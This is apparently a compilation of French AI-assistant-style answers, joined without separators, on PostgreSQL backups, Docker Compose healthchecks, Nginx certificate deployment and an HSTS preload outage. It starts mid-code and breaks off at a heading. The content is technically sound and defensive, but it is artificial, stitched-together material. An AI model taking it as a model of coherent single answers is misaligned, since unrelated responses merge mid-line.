full_page_writes = on # a laisser active, defaut
```
Remarques de sécurité et de conception :
- `archive_command` doit **échouer** si le fichier cible existe déjà (le `test ! -f`), sinon vous écrasez silencieusement un segment archivé.
- Le répertoire `/wal_archive` doit être un volume **hors du volume de données** et idéalement hors de l'hôte, sinon un incident disque emporte base et archives simultanément.
- `archive_timeout` fixe votre RPO plancher : c'est un compromis entre volume d'archives et perte maximale acceptable. La source note qu'une base très active génère beaucoup de WAL (même référence).
Création du rôle de réplication, sans secret en clair dans un script ni dans l'historique shell :
```sql
CREATE ROLE backup_agent WITH REPLICATION LOGIN;
\password backup_agent
```
Puis dans `pg_hba.conf`, une ligne restreinte à l'adresse de l'agent de sauvegarde, avec `scram-sha-256`, jamais `trust`.
Sauvegarde de base depuis l'hôte, en passant par le conteneur :
```bash
set -euo pipefail
STAMP=$(date -u +%Y%m%dT%H%M%SZ)
DEST="/backup/pg/base-${STAMP}"
mkdir -p "$DEST"
# Le mot de passe vient d'un fichier .pgpass monte en lecture seule (chmod 600),
# jamais d'un argument de ligne de commande ni d'une variable exportee en clair.
docker exec -e PGPASSFILE=/run/secrets/pgpass -u postgres pg_container \
pg_basebackup \
--pgdata=- --format=tar --wal-method=stream \
--checkpoint=fast --progress --verbose \
--host=127.0.0.1 --username=backup_agent \
| gzip -9 > "${DEST}/base.tar.gz"
sha256sum "${DEST}/base.tar.gz" > "${DEST}/base.tar.gz.sha256"
```
`--wal-method=stream` garantit que les WAL générés pendant la sauvegarde sont inclus, ce qui rend la sauvegarde de base autonome pour atteindre un point cohérent.
Avertissement d'honnêteté : je n'ai pas exécuté ces commandes et je n'ai pas accès à votre environnement. Les noms de conteneur, chemins et volumes sont des valeurs par défaut plausibles à adapter. La syntaxe est celle des outils PostgreSQL modernes ; vérifiez les options contre `pg_basebackup --help` de **votre** version majeure, car les options de gestion du WAL ont évolué selon les versions.
### Option B : sauvegarde froide, si l'arrêt est acceptable
Valide et simple, mais impose une interruption de service et ne permet pas de PITR (Wikibooks EN, PostgreSQL/BackupAndRecovery).
```bash
docker stop pg_container
docker run --rm \
-v pg_data:/data:ro \
-v /backup/pg:/out \
alpine:3 tar -C /data -czf /out/cold-$(date -u +%Y%m%dT%H%M%SZ).tar.gz .
docker start pg_container
```
Impératif : la copie doit inclister **tout** le cluster, le répertoire de données, les fichiers de configuration s'ils sont ailleurs, et tous les tablespaces (repérables via les liens symboliques de `pg_tblspc`). Une copie partielle est inutilisable, même instance arrêtée (même source).
### Option C, complémentaire et non substituable : `pg_dump` / `pg_dumpall`
Sauvegarde logique à chaud, cohérente grâce au MVCC : le dump reflète exactement l'état à l'instant de son démarrage (Wikibooks EN, PostgreSQL/BackupAndRecovery). Elle permet le grain fin (une base, une table) et le changement de version ou de plateforme, mais **pas** de PITR.
```bash
docker exec -u postgres pg_container pg_dumpall --globals-only \
> /backup/pg/globals-$(date -u +%Y%m%dT%H%M%SZ).sql
docker exec -u postgres pg_container \
pg_dump --dbname=app --format=custom --compress=9 --file=/tmp/app.dump
docker cp pg_container:/tmp/app.dump /backup/pg/app-$(date -u +%Y%m%dT%H%M%SZ).dump
```
À utiliser en **complément** de l'option A, pas à sa place : le dump logique protège contre la corruption physique et l'erreur logique, la sauvegarde physique protège le RPO.
### Option D : snapshot, si et seulement si l'atomicité est prouvée
Un snapshot de système de fichiers ou de volume (LVM, ZFS, instantané de volume bloc) peut remplacer `pg_basebackup` **à condition** d'être atomique sur la totalité du répertoire de données, `pg_wal` et tablespaces inclus, en une seule opération. Sinon vous retombez exactement dans le problème initial. Je n'ai pas de source encyclopédique locale sur les garanties d'atomicité de votre couche de stockage précise : c'est à vérifier auprès de la documentation de ce stockage, et c'est une hypothèse à ne pas présumer vraie.
## 5. Vérification, sans quoi rien n'est prouvé
Une sauvegarde non restaurée n'est pas une sauvegarde. Il faut tester les étapes de restauration, pas seulement la création (Wikibooks EN, PostgreSQL/BackupAndRecovery).
Procédure de restauration, option A, à répéter périodiquement sur un environnement jetable :
```bash
# 1. Cluster de test isole, JAMAIS sur le volume de production
mkdir -p /restore_test/data /restore_test/wal
tar -xzf /backup/pg/base-<STAMP>/base.tar.gz -C /restore_test/data
# 2. Declarer la source des WAL archives et le mode restauration
cat >> /restore_test/data/postgresql.auto.conf <<'EOF'
restore_command = 'cp /wal_archive/%f %p'
recovery_target_time = '2025-01-01 12:00:00+00' # PITR, optionnel
recovery_target_action = 'promote'
EOF
touch /restore_test/data/recovery.signal
# 3. Demarrer un conteneur de meme version majeure sur ces donnees, puis controler
```
Contrôles à exécuter après démarrage, dans cet ordre :
1. **Journal de reprise** : vérifier la présence des messages de rejeu et l'atteinte d'un point de cohérence, absence d'erreur.
2. **Intégrité physique** : `pg_dump --dbname=<base> --file=/dev/null` force la lecture de toutes les lignes de toutes les tables et révèle les blocs illisibles.
3. **Intégrité des index** : l'extension `amcheck` permet de vérifier les index B-tree ; à ma connaissance elle est fournie dans les modules `contrib`, à confirmer pour votre version.
4. **Contrôles métier** : quelques agrégats de référence (nombre de lignes, somme de contrôle sur une table pivot, dernier identifiant) comparés à la production.
5. **Empreintes** : recalcul du `sha256sum` de l'archive avant restauration.
Sur ce dernier point, formulation rigoureuse : une concordance d'empreinte SHA-256 n'est pas une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement pour toute fonction de hachage ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction. Elle détecte la corruption de transport et de stockage, non une falsification par un attaquant capable de recalculer aussi l'empreinte, ce qui impose de stocker les empreintes hors de portée de l'attaquant.
À automatiser également : la surveillance du retard d'archivage. Un `archive_command` qui échoue durablement fait s'accumuler les WAL dans `pg_wal` jusqu'à saturer le disque et arrêter la base. Il faut une alerte sur `pg_stat_archiver` (colonnes de dernier échec) et sur l'occupation du volume.
## 6. Risques, limites et ce que je ne peux pas affirmer
- **Aucune opération destructive à ce stade.** Ne supprimez pas les copies existantes et ne les écrasez pas : même douteuses, elles constituent votre seul filet actuel. Conservez-les jusqu'à ce qu'une sauvegarde valide par l'option A ou B ait été **restaurée et vérifiée** au moins une fois. Toute suppression suppose au préalable un point de restauration valide et votre accord explicite.
- **Migration sans coupure inutile.** L'option A n'exige pas d'arrêt de service, mais l'activation de `archive_mode` requiert un redémarrage de l'instance (la source indique un `pg_ctl restart` après modification des paramètres). `wal_level` requiert également un redémarrage. Planifiez une fenêtre courte.
- **Restauration de version.** Une sauvegarde physique n'est restaurable que sur la **même version majeure** de PostgreSQL et une architecture compatible. Seul le format texte de `pg_dump` autorise le changement de version ou de plateforme (même source). Épinglez donc la version d'image de votre conteneur et documentez-la avec chaque sauvegarde.
- **Ce que je ne peux pas établir** : l'état réel d'intégrité de vos copies existantes, la probabilité qu'elles restaurent, les garanties d'atomicité de votre stockage sous-jacent, et la version exacte de votre PostgreSQL. Ces quatre points nécessitent un examen de votre environnement. Toute valeur chiffrée que je donnerais dessus serait inventée.
- **Distinction des propriétés** : ce plan traite l'**intégrité** et la **disponibilité** des données. Il ne traite pas à lui seul la **confidentialité** (chiffrement des archives au repos, gestion des clés dans un coffre) ni l'**authenticité** (protection contre la falsification des sauvegardes par un attaquant ayant accès au dépôt). Ces deux volets méritent une décision séparée, notamment une copie hors ligne ou en écriture unique contre les rançongiciels.## Diagnostic
Le symptôme décrit est un cas classique de confusion entre trois états distincts d'une dépendance :
| État | Ce qu'il signifie | Ce que Compose observe |
|---|---|---|
| Conteneur créé/démarré | le processus PID 1 tourne | `depends_on` nu |
| Port TCP acceptant | le socket est en écoute (ou le backlog du noyau absorbe le SYN) | rien, sauf sonde explicite |
| Service prêt aux requêtes | authentification, recovery WAL, init du cluster, schéma présent | `healthcheck` applicatif seulement |
L'encyclopédie locale confirme la sémantique minimale de la directive : `depends_on` « permet de spécifier qu'un conteneur doit en attendre un autre pour être lancé » (Wikibooks, Docker/Docker compose, `/content/wikibooks_fr/Docker/Docker_compose`). Elle n'engage donc que l'ordre de **lancement**, pas la disponibilité fonctionnelle.
Avertissement de sourçage : les points 2 à 4 ci-dessous reposent sur ma connaissance de la documentation Docker Compose (clés `healthcheck`, `condition: service_healthy`, `service_completed_successfully`) et non sur l'encyclopédie locale, qui ne documente pas ces clés. Ma mémoire de modèle peut être périmée sur le détail des versions : vérifiez la référence du Compose Specification de votre version avant mise en production. Je ne peux pas confirmer ici les numéros de version exacts d'introduction de ces clés.
---
## Correction 1, distinguer démarré, à l'écoute, et prêt
Un `connect()` TCP réussi ne prouve que l'existence d'un socket en écoute. Trois raisons rendent cette preuve insuffisante :
- le noyau peut compléter la poignée de main via le backlog avant que le serveur n'ait fait `accept()` ;
- l'image officielle PostgreSQL démarre un serveur **temporaire** pendant l'initialisation (scripts `initdb`), puis l'arrête et le relance : une sonde trop précoce peut être satisfaite pendant cette phase transitoire, puis échouer ;
- le moteur peut écouter tout en refusant les requêtes (recovery, `FATAL: the database system is starting up`).
Conclusion : la sonde doit être une **requête réelle**, pas une ouverture de port. C'est une distinction *liveness* (le processus vit) contre *readiness* (le service répond correctement). Corollaire de rigueur : `healthy` à l'instant $t$ ne garantit rien à $t + \Delta$. Un nombre fini de sondes réussies n'établit pas une propriété universelle de disponibilité.
## Correction 2, `healthcheck` + `depends_on` conditionnel
C'est la correction déclarative. Le healthcheck doit porter sur une requête, avec `start_period` pour ne pas consommer les `retries` pendant l'init.
```yaml
services:
db:
image: postgres:16
environment:
POSTGRES_USER: app
POSTGRES_DB: appdb
# Secret injecté par le gestionnaire de secrets, jamais en clair ici.
POSTGRES_PASSWORD_FILE: /run/secrets/db_password
secrets:
- db_password
healthcheck:
# $$ = $ littéral pour le shell du conteneur, non interpolé par Compose.
test: ["CMD-SHELL",
"pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB} -h 127.0.0.1 && psql -U $${POSTGRES_USER} -d $${POSTGRES_DB} -tAc 'SELECT 1' > /dev/null"]
interval: 5s
timeout: 3s
retries: 12
start_period: 40s
restart: unless-stopped
migrate:
build: ./app
command: ["alembic", "upgrade", "head"]
depends_on:
db:
condition: service_healthy
restart: "no"
web:
build: ./app
depends_on:
db:
condition: service_healthy
migrate:
condition: service_completed_successfully
restart: unless-stopped
```
Points de vigilance : `-h 127.0.0.1` force une connexion TCP réelle plutôt que le socket Unix local, ce qui teste le chemin effectivement utilisé par l'application. Un healthcheck qui échoue ne provoque pas de rollback : il bloque seulement le démarrage des dépendants.
## Correction 3, la résilience applicative, seule protection durable
`depends_on` ne couvre **que** le démarrage initial. Après quoi la base peut redémarrer, basculer, saturer, perdre le réseau. L'ordonnancement au boot est donc une commodité, pas une garantie d'intégrité. La correction structurelle est côté client : reconnexion avec backoff exponentiel borné et *jitter*, timeouts explicites, échec en mode fermé.
```python
import os, random, time, logging
import psycopg
log = logging.getLogger("db.bootstrap")
def connect_with_backoff(dsn: str, max_wait: float = 120.0) -> psycopg.Connection:
"""Attend que la base accepte une requête reelle. Leve apres max_wait."""
deadline = time.monotonic() + max_wait
attempt = 0
while True:
attempt += 1
try:
conn = psycopg.connect(dsn, connect_timeout=5)
with conn.cursor() as cur:
cur.execute("SELECT 1") # readiness, pas seulement liveness
assert cur.fetchone() == (1,)
return conn
except (psycopg.OperationalError, AssertionError) as exc:
if time.monotonic() >= deadline:
# Fail closed : on ne demarre pas degrade.
raise RuntimeError("base non prete dans le delai imparti") from exc
# backoff exponentiel plafonne + jitter complet (anti-troupeau).
delay = min(2 ** min(attempt, 5), 30) * random.random()
log.warning("tentative %d echouee (%s), nouvelle tentative dans %.1fs",
attempt, type(exc).__name__, delay)
time.sleep(delay)
```
Le DSN provient d'une variable d'environnement ou d'un fichier de secret, jamais d'une chaîne littérale, et n'est jamais journalisé : le message de log ci-dessus n'expose que le type d'exception, pas la chaîne de connexion.
## Correction 4, séparer readiness, schéma et privilèges
« Prête aux requêtes » ne signifie pas « prête pour cette application ». Trois séparations à tenir :
- **Migration contre runtime** : le service `migrate` porte les droits DDL, le service `web` un rôle applicatif en moindre privilège (`CONNECT`, `SELECT/INSERT/UPDATE/DELETE` sur le schéma applicatif, jamais `CREATE`, jamais propriétaire, jamais `SUPERUSER`). `condition: service_completed_successfully` évite que `web` démarre sur un schéma partiel.
- **Point de restauration avant rejeu** : ne rejouez jamais une migration sur un état partiel sans sauvegarde restaurable préalable et accord de l'opérateur ; prévoyez le chemin de retour arrière.
- **Portée de la directive** : à ma connaissance, `depends_on` est ignoré par l'ordonnanceur en mode Swarm (`deploy`), et il n'existe pas dans les orchestrateurs de type Kubernetes, où l'équivalent est la *readiness probe* plus des `initContainers`. Une architecture qui repose sur `depends_on` pour sa correction n'est donc pas portable. Point que je signale comme incertain sur le détail des versions.
---
## Vérification
1. `docker compose config` pour valider la syntaxe et l'interpolation, notamment les `$$`.
2. `docker inspect --format '{{json .State.Health}}' <conteneur_db>` pour lire l'historique des sondes et confirmer que `Status` passe de `starting` à `healthy`.
3. Test négatif, indispensable : `docker compose up -d` sur un volume vierge, où l'init est le plus long, puis `docker compose logs web` pour vérifier l'absence de crash au premier démarrage.
4. Test de résilience en régime : `docker compose restart db` alors que `web` tourne, puis vérifier que `web` se reconnecte sans intervention. Ce test valide la correction 3, que ni `depends_on` ni le healthcheck ne couvrent.
## Risques résiduels
- Aucune de ces mesures ne rend le démarrage « sûr » : elles réduisent la fenêtre d'échec, elles ne la suppriment pas. Une base peut devenir indisponible entre la sonde `healthy` et la première requête applicative.
- Un `start_period` trop court transforme une init lente en boucle de redémarrage ; trop long, il masque une panne réelle.
- Un healthcheck exécutant `psql` à chaque intervalle consomme une connexion : sur une base à `max_connections` serré, la sonde elle-même peut contribuer à la saturation.
- `service_completed_successfully` fait dépendre le démarrage du succès d'un job : un échec de migration bloque tout le déploiement, comportement souhaitable en production mais qui exige une supervision et une procédure de restauration documentées.## Diagnostic
Le symptôme décrit, fichiers valides sur disque mais ancien certificat servi jusqu'à expiration, ne relève pas de l'émission ACME : elle a réussi. Il relève de la **phase de déploiement**, absente du renouvellement. La cause structurelle est que Nginx charge les certificats référencés par `ssl_certificate` et `ssl_certificate_key` en mémoire au chargement de la configuration, et non à chaque poignée de main TLS ; réécrire le fichier ne change donc rien aux processus déjà lancés. Point d'honnêteté : cette mise en cache en mémoire est le comportement documenté par l'éditeur, mais mon encyclopédie locale ne l'atteste pas explicitement ; ce qu'elle atteste, c'est que les certificats sont désignés par les directives `ssl_certificate` / `ssl_certificate_key` dans le vhost, et que la configuration se recharge par `systemctl reload nginx`, `reload` ne remplaçant les anciens processus que si la configuration est valide, ce qui est plus sûr que `restart` (Wikilivres, *Le système d'exploitation GNU-Linux / Le serveur Web nginx*).
Second point à vérifier avant tout : `cert.pem` est le certificat feuille **seul**. Si `ssl_certificate` pointe dessus, la chaîne intermédiaire manque et certains clients rejetteront la connexion ; le fichier à servir est la chaîne complète (`fullchain.pem` chez les clients ACME de type Certbot). Ceci est une remarque de conception, pas la cause du symptôme décrit.
## Les quatre étapes manquantes
| # | Étape | Objet | Contrôle de réussite |
|---|-------|-------|----------------------|
| 1 | **Installation atomique** des nouveaux fichiers à l'emplacement exact référencé par `ssl_certificate` / `ssl_certificate_key`, avec propriétaire et permissions corrects (clé privée en `0600`, jamais lisible par tous) | Rendre le nouveau matériel visible au bon chemin, y compris à l'intérieur du conteneur ou du volume si Nginx est conteneurisé | Empreinte du fichier cible = empreinte du fichier émis |
| 2 | **Validation de la configuration** avant tout basculement : `nginx -t` (et `nginx -T` pour relire la configuration effective) | Éviter de recharger sur une configuration ou un couple certificat/clé incohérent | Code de retour 0 et `syntax is ok` |
| 3 | **Rechargement à chaud** de Nginx, déclenché automatiquement par un hook de déploiement du client ACME, jamais manuellement : `systemctl reload nginx` | Faire relire les fichiers par les processus de travail sans coupure de service | Nouveaux processus de travail actifs, aucune erreur dans `journalctl -u nginx` |
| 4 | **Vérification depuis l'extérieur** du certificat réellement servi sur le port 443 (numéro de série et `notAfter`), puis supervision de l'échéance avec alerte, et conservation de l'ancien couple pour retour arrière | Prouver le déploiement au lieu de le supposer, et détecter la prochaine récidive avant expiration | Le série et la date de fin observés en TLS correspondent au certificat émis |
Justification du choix `reload` plutôt que `restart` à l'étape 3 : `restart` arrête tout puis tente de redémarrer, alors que `reload` ne stoppe les anciens processus que si la configuration ne contient pas d'erreur, donc sans interruption en cas de faute de configuration (Wikilivres, *Le serveur Web nginx*).
## Code opérationnel
Hook de déploiement, idempotent, sans opération destructive et avec retour arrière.
```bash
#!/usr/bin/env bash
# /usr/local/lib/acme/deploy-nginx.sh
# Appelé par le client ACME uniquement après un renouvellement effectif.
set -Eeuo pipefail
umask 077
SRC_DIR="${1:?chemin source du certificat emis}" # ex: /etc/letsencrypt/live/example.com
DST_DIR="/etc/nginx/tls/example.com" # chemin reference par ssl_certificate
BACKUP_DIR="/var/backups/nginx-tls/$(date -u +%Y%m%dT%H%M%SZ)"
# 0. Pre-conditions : la chaine complete et la cle doivent exister et concorder.
CERT_SRC="${SRC_DIR}/fullchain.pem"
KEY_SRC="${SRC_DIR}/privkey.pem"
[[ -r "$CERT_SRC" && -r "$KEY_SRC" ]] || { echo "FATAL: source illisible" >&2; exit 1; }
mod_cert="$(openssl x509 -noout -modulus -in "$CERT_SRC" | openssl sha256)"
mod_key="$(openssl rsa -noout -modulus -in "$KEY_SRC" 2>/dev/null | openssl sha256 || true)"
if [[ -n "$mod_key" && "$mod_cert" != "$mod_key" ]]; then
echo "FATAL: la cle ne correspond pas au certificat" >&2; exit 1
fi # test valable pour RSA ; pour ECDSA, comparer les cles publiques
# 1. Sauvegarde restaurable AVANT toute ecriture.
install -d -m 0700 "$BACKUP_DIR"
if [[ -e "${DST_DIR}/fullchain.pem" ]]; then
cp -a "${DST_DIR}/fullchain.pem" "${DST_DIR}/privkey.pem" "$BACKUP_DIR/"
fi
# 2. Installation atomique (ecriture temporaire puis rename dans le meme systeme de fichiers).
install -d -m 0750 -o root -g www-data "$DST_DIR"
install -m 0644 -o root -g root "$CERT_SRC" "${DST_DIR}/.fullchain.pem.new"
install -m 0600 -o root -g root "$KEY_SRC" "${DST_DIR}/.privkey.pem.new"
mv -f "${DST_DIR}/.fullchain.pem.new" "${DST_DIR}/fullchain.pem"
mv -f "${DST_DIR}/.privkey.pem.new" "${DST_DIR}/privkey.pem"
# 3. Validation, puis rechargement a chaud ; rollback si la validation echoue.
if ! nginx -t; then
echo "ERREUR: configuration invalide, restauration" >&2
[[ -e "${BACKUP_DIR}/fullchain.pem" ]] && cp -a "${BACKUP_DIR}/." "${DST_DIR}/"
exit 1
fi
systemctl reload nginx
# 4. Verification externe du certificat effectivement servi.
sleep 2
served="$(echo | openssl s_client -connect 127.0.0.1:443 -servername example.com 2>/dev/null \
| openssl x509 -noout -serial -enddate)"
expected="$(openssl x509 -noout -serial -enddate -in "${DST_DIR}/fullchain.pem")"
if [[ "$served" != "$expected" ]]; then
echo "ALERTE: certificat servi != certificat installe" >&2
printf 'servi: %s\nattendu: %s\n' "$served" "$expected" >&2
exit 1
fi
echo "OK: $expected"
```
Câblage côté client ACME, exemple avec Certbot (option `--deploy-hook`, exécutée seulement si le certificat a été renouvelé) :
```bash
certbot renew --deploy-hook '/usr/local/lib/acme/deploy-nginx.sh "$RENEWED_LINEAGE"'
```
Je n'ai pas exécuté ce script : je ne dispose ni de votre serveur ni d'un accès système. Il est raisonné pas à pas, mais il doit être testé sur un environnement de préproduction avant la production.
## Vérification indépendante à faire une fois
```bash
nginx -T | grep -E 'ssl_certificate(_key)?' # chemins reellement charges
echo | openssl s_client -connect example.com:443 -servername example.com 2>/dev/null \
| openssl x509 -noout -subject -issuer -serial -dates
```
Le premier commande révèle si le vhost pointe vers le bon fichier, et `nginx -T` affiche la configuration du processus lancé (Wikilivres, *Le serveur Web nginx*). Le second prouve ce qui est servi sur le fil, seule preuve qui compte.
## Risques résiduels et pièges non couverts par les quatre étapes
- **Nginx conteneurisé** : si l'image contient une copie des certificats, ou si le volume est monté par lien symbolique non suivi, l'étape 1 réussit sur l'hôte sans rien changer dans le conteneur. Il faut alors recharger le processus *dans* le conteneur.
- **Plusieurs frontaux ou terminaison TLS déportée** : un répartiteur de charge, un CDN ou un proxy inverse en amont peut servir sa propre copie ; le certificat de Nginx devient invisible depuis Internet. Vérifiez le point de terminaison TLS réel.
- **`cert.pem` au lieu de la chaîne complète** : provoque des échecs de validation chez les clients dépourvus du certificat intermédiaire.
- **Agrafage OCSP et tickets de session** : des réponses ou clés mises en cache peuvent survivre au rechargement pendant leur durée de vie ; ce n'est pas le certificat, mais cela brouille le diagnostic.
- **Absence d'alerte d'échéance** : sans supervision de `notAfter` mesurée depuis l'extérieur, la même panne se reproduira silencieusement. Une alerte à 21 jours et une escalade à 7 jours sont un réglage prudent, à adapter, ce n'est pas une norme.
- **Confidentialité de la clé** : l'étape 1 doit garantir qu'aucune copie de `privkey.pem` ne subsiste avec des droits élargis, ni dans une sauvegarde non protégée, ni dans un journal. Aucune de ces étapes n'est « sans risque » : elles réduisent le risque, elles ne l'annulent pas.## 1. Effet navigateur Le point déterminant est la portée réelle de l'entrée de préchargement. Le préchargement se demande sur hstspreload.org et suppose l'émission d'un en-tête contenant les directives `includeSubDomains` et `preload` (Wikipédia FR, HTTP Strict Transport Security, sections « Liste préchargée » et « Syntaxe »). | Cas | Portée | Effet sur le sous-domaine historique | |---|---|---| | Entrée préchargée **avec** `include_subdomains` | tous les sous-domaines, à toute profondeur | sous-domaine inaccessible en clair | | Entrée préchargée **sans** `include_subdomains` | hôte exact seulement | aucun impact sur le sous-domaine | Dans le premier cas, le comportement d'un agent utilisateur conforme est le suivant : - **Réécriture avant émission de la requête.** Tout lien `http://legacy.example.com/...` est transformé en `https://legacy.example.com/...` avant tout accès au serveur (Wikipédia EN, HSTS, « HSTS mechanism overview » ; Wikipédia FR, « Généralités »). Avec le préchargement, le navigateur saute même la première requête HTTP : « the browser skips the initial request and encrypts all communication immediately » (Wikipédia EN, HSTS, introduction). Il n'y a donc **aucun paquet HTTP en clair** que l'ancien service pourrait servir. - **Échec dur si TLS n'est pas assurable.** « If the security of the connection cannot be ensured [...] the user agent must terminate the connection [RFC 6797 §8.4] and should not allow the user to access the web application [RFC 6797 §12.1] » (Wikipédia EN, HSTS). Concrètement, deux symptômes distincts, selon l'état du service : - le port 443 n'écoute pas : échec de connexion réseau (le navigateur ne retente jamais en clair) ; - le port 443 écoute mais le certificat est invalide, auto-signé ou expiré : page d'erreur TLS **sans possibilité de poursuivre** (Wikipédia FR : « affiche un message d'erreur et interdit à l'utilisateur l'accès au site »). - **Nature du dommage.** C'est une perte de **disponibilité** pour ce sous-domaine, résultant d'une politique qui protège l'**intégrité** et l'**authenticité** du transport contre le SSL stripping (Wikipédia EN, HSTS, « Applicability », attaque sslstrip de Moxie Marlinspike, Black Hat DC 2009). Aucune donnée n'est compromise ; c'est un refus en mode fermé, conforme à l'intention du mécanisme. - **Limite de périmètre.** HSTS est une politique d'agent utilisateur HTTP (RFC 6797, cité par Wikipédia EN et FR). Les clients qui ne l'implémentent pas, scripts, intégrations serveur à serveur, équipements embarqués, ne sont pas affectés. C'est un piège d'exploitation classique : le service « fonctionne » pour les robots et casse pour les humains, ce qui retarde le diagnostic. Cette dernière remarque est une inférence de la portée du standard, non une citation. ## 2. Possibilité de bypass utilisateur - **Dans l'interface du navigateur : non, par conception.** La spécification exige la fermeture de la connexion et déconseille explicitement d'offrir un clic de contournement (RFC 6797 §8.4 et §12.1, cités par Wikipédia EN). Il n'y a donc pas de bouton « continuer quand même » comme sur une erreur TLS ordinaire. - **Effacement de l'état local : inopérant pour une entrée préchargée.** L'état HSTS dynamique est celui appris via l'en-tête, tandis que la liste de préchargement « is distributed with the browser » (Wikipédia EN, HSTS, « Solutions with preload list »). Purger l'état dynamique ne retire donc pas une entrée compilée dans le navigateur. Je présente ceci comme une **inférence** tirée du mode de distribution décrit, et non comme un fait sourcé ; je ne dispose pas ici d'une source décrivant les interfaces de purge propres à chaque navigateur, et je ne les inventerai pas. - **Contournements résiduels réels, tous hors du navigateur ou hors politique :** utiliser un client HTTP qui n'implémente pas HSTS, un navigateur ou une version dépourvue de l'entrée de préchargement, ou une résolution vers un autre nom. Ce sont des inférences de la portée du standard. Deux d'entre eux sont documentés comme faiblesses du mécanisme : HSTS « is ineffective against the use of false domains », par usurpation DNS ou par nom ressemblant (Junade Ali, cité par Wikipédia EN), et l'état appris par en-tête étant borné par `max-age`, il est sensible aux attaques de décalage d'horloge, par exemple via de faux paquets NTP (Wikipédia EN, « Applicability »). - **Conclusion opérationnelle.** Ne construisez aucune procédure d'exploitation ni consigne au support sur un contournement utilisateur : il n'existe pas de voie fiable, supportée et sûre. Toute instruction du type « ignorez l'avertissement » serait à la fois inefficace et pédagogiquement toxique. ## 3. Cause de gouvernance Le défaut n'est pas technique, il est **structurel** : le préchargement est un engagement à granularité **domaine**, pris par une seule équipe, alors que l'espace de noms est exploité par plusieurs équipes. 1. **Asymétrie décision / périmètre.** `includeSubDomains` engage la totalité de l'arborescence DNS, y compris les hôtes que le demandeur ne connaît pas et ne gouverne pas. La bonne pratique documentée pousse d'ailleurs à déclarer la politique au niveau du domaine de plus haut niveau avec `includeSubDomains` (Wikipédia EN, « Deployment best practices », RFC 6797 §6.1.2) : la recommandation de sécurité est saine, mais elle exige un inventaire préalable que rien n'impose techniquement. 2. **Absence d'inventaire faisant autorité.** Il n'existait pas de registre à jour des enregistrements DNS avec, pour chacun, le propriétaire, l'état TLS, le trafic et le cycle de vie. Le sous-domaine « historique » est précisément la catégorie que ce registre aurait révélée. 3. **Consentement formel sans consentement réel.** La directive `preload` sert à attester le consentement du site (Wikipédia FR, « Liste préchargée »). Le consentement d'un administrateur de serveur ne vaut pas consentement des équipes propriétaires des autres sous-domaines : il n'y a pas eu de revue transverse, ni de CAB, ni de gel de changement annoncé. 4. **Irréversibilité pratique mal évaluée.** La liste étant embarquée dans les navigateurs (Wikipédia EN), le retrait dépend des cycles de publication de plusieurs éditeurs et non d'un changement de configuration côté serveur. Une décision à effet quasi irréversible a été prise avec un processus d'ampleur triviale. C'est le cœur de la faute de gouvernance. 5. **Absence de test de prévalidation.** Le déploiement de l'en-tête avec `includeSubDomains` et un `max-age` court, en observation, avant soumission au préchargement, aurait révélé la panne sur une fenêtre réversible. ## 4. Sortie réaliste Ordre imposé par le rapport bénéfice sur risque. Priorité absolue : **corriger vers l'avant**, jamais affaiblir la politique du domaine entier. **Phase 0, établir les faits, avant toute action** - Vérifier la portée effective de l'entrée de préchargement, présence ou non de `include_subdomains`, via hstspreload.org (site de soumission cité par Wikipédia EN et FR). Si la portée n'inclut pas les sous-domaines, l'incident a une autre cause et l'analyse s'arrête là. - Inventorier ce que sert réellement le sous-domaine : hôte virtuel HTTP, appliance héritée, service non HTTP sur le port 80, redirection. - Mesurer l'impact : usages navigateur affectés, usages non navigateur épargnés. **Phase 1, remise en conformité TLS, issue attendue dans la très grande majorité des cas** - Émettre un certificat de confiance publique pour le nom et terminer TLS, soit sur le service, soit sur un reverse proxy ou un frontal déjà outillé. Les recettes serveur, en particulier Apache et Nginx, sont documentées avec émission de l'en-tête uniquement sur les réponses HTTPS (Wikipédia FR, « Implémentation »). - Rappel de conformité issu du standard : l'en-tête `Strict-Transport-Security` doit être envoyé sur des réponses HTTPS et doit être ignoré côté client s'il arrive en clair (Wikipédia FR, « Implémentation »). Configurer aussi la redirection 301 depuis le port 80 pour les clients hors navigateur, sans compter dessus pour les navigateurs, qui ne l'atteindront jamais. - Contrôle : validation de la chaîne, de l'expiration, des SAN, de la supervision de renouvellement. Un certificat non surveillé recrée le même incident à échéance. **Phase 2, si le service est structurellement incapable de faire TLS** - Le sortir de l'espace de noms couvert : autre domaine enregistrable non préchargé, ou publication derrière un accès authentifié, VPN ou passerelle, avec TLS assuré par la passerelle. - Ou décommissionner et rediriger, ce qui est souvent la vraie réponse pour un actif « historique ». **Phase 3, retrait du préchargement, dernier recours à écarter sauf nécessité vitale** - Coût : suppression de la directive `preload`, demande de retrait, puis attente de la propagation par les publications successives des navigateurs, la liste étant distribuée avec le navigateur (Wikipédia EN). **Je ne peux pas chiffrer ce délai avec une source fiable ici et je ne l'inventerai pas** ; retenez qu'il n'est pas maîtrisé par vous. - Effet de bord majeur : réduire ou retirer la politique pour débloquer un sous-domaine réexpose l'ensemble du domaine au SSL stripping, l'attaque même que HSTS corrige (Wikipédia EN, « Applicability »). Le remède serait pire que le mal. **Phase 4, correction de la gouvernance, sinon récidive** - Registre DNS faisant autorité, avec propriétaire, état TLS et date de revue pour chaque nom. - Porte de contrôle : aucune soumission au préchargement sans inventaire complet, sans validation des propriétaires de sous-domaines, et sans période d'observation préalable en `max-age` court. - Contrôle continu : sonde périodique testant HTTPS sur tous les noms couverts, alerte sur certificat proche de l'expiration ou sur nom sans écouteur TLS. **Risques résiduels et limites, à ne pas passer sous silence** - Aucune de ces actions n'est « sans risque » : la terminaison TLS sur un frontal déplace la confiance vers ce frontal et vers son segment interne, qui doit être traité comme sensible. - HSTS, même préchargé, ne protège ni contre les attaques visant TLS lui-même, ni contre la compromission du serveur, ni contre les faux domaines (Wikipédia EN, « Limitations », y compris l'analyse de Junade Ali). - Un préchargement correct a aussi un coût de confidentialité documenté : l'état HSTS peut servir de supercookie et persister hors des modes de navigation privée (Wikipédia EN, « Privacy issues »). - Point de méthode : je n'ai exécuté ici aucune vérification sur votre domaine. Le diagnostic ci-dessus est conditionnel à la phase 0, et un code de retour d'outil ou l'absence d'erreur en console ne prouveront pas la remise en service tant que les contrôles TLS et un test navigateur réel n'ont pas été effectués.
## Fait 1, segment client (navigateur → Cloudflare)
